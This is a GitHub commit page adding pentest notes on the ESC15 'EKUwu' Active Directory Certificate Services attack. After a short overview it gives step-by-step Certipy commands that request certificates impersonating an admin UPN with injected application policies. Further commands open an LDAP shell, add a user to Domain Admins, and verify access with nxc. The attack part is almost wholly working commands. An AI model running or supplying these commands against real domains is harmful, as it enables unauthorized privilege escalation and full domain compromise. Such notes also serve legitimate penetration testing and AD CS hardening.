Skip to content

Commit c97e62d

Browse files
authored
Create 13. ESC15 Certificate Templates.md
Added notes for ESC15
1 parent 3bd15c4 commit c97e62d

File tree

1 file changed

+25
-0
lines changed

1 file changed

+25
-0
lines changed
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# General Overview:
2+
3+
The ESC15 "EKUwu" attack abuses legacy Active Directory Certificate Services (AD CS) version 1 templates, which allow attackers to override Extended Key Usage (EKU) settings by using application policies. This misconfiguration enables an attacker with enrollment rights to generate certificates with escalated privileges for actions like client authentication, certificate request agent, or code signing.
4+
5+
# Abusing ESC15 Certificate Templates
6+
7+
## Certipy:
8+
9+
Note: It is recommend to create python virtual environment (venv) to run this version of certipy.
10+
11+
Method 1:
12+
- `certipy req -ca 'ca_name' -target "$ADCS_HOST" -u "[email protected]" -p "$PASSWORD" -template 'vulnerable template' -upn 'xadmin' --application-policies 'Client Authentication'`
13+
Obtaining the Application Policy OID:
14+
- `certipy req -ca 'ca_name' -target "$ADCS_HOST" -u "[email protected]" -p "$PASSWORD" -template 'vulnerable template' -upn 'xadmin' --application-policies '1.3.6.1.5.5.7.3.2'`
15+
Method 2 (Using Schannel):
16+
- `certipy req -u "[email protected]" -p "$PASSWORD" -dc-ip 172.21.0.1 -ca 'ca_name' -template 'vulnerable template' -upn 'xadmin' --target 172.21.0.2 --application-policies 'Client Authentication'`
17+
- certipy auth -pfx domainadmin.pfx -ldap-shell -dc-ip 172.21.0.1
18+
- add_user_to_group esc15user "Domain Admins"
19+
- nxc smb 172.21.0.1 -u esc15user -p "Password"
20+
21+
# References
22+
- https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc
23+
- https://github.com/dru1d-foofus/Certipy/tree/esc15-ekuwu
24+
- Video Tutorial: https://www.youtube.com/watch?v=PKvazCvlb9A
25+
- Potential Pull Request to the main Certipy project: https://github.com/ly4k/Certipy/pull/228

0 commit comments

Comments
 (0)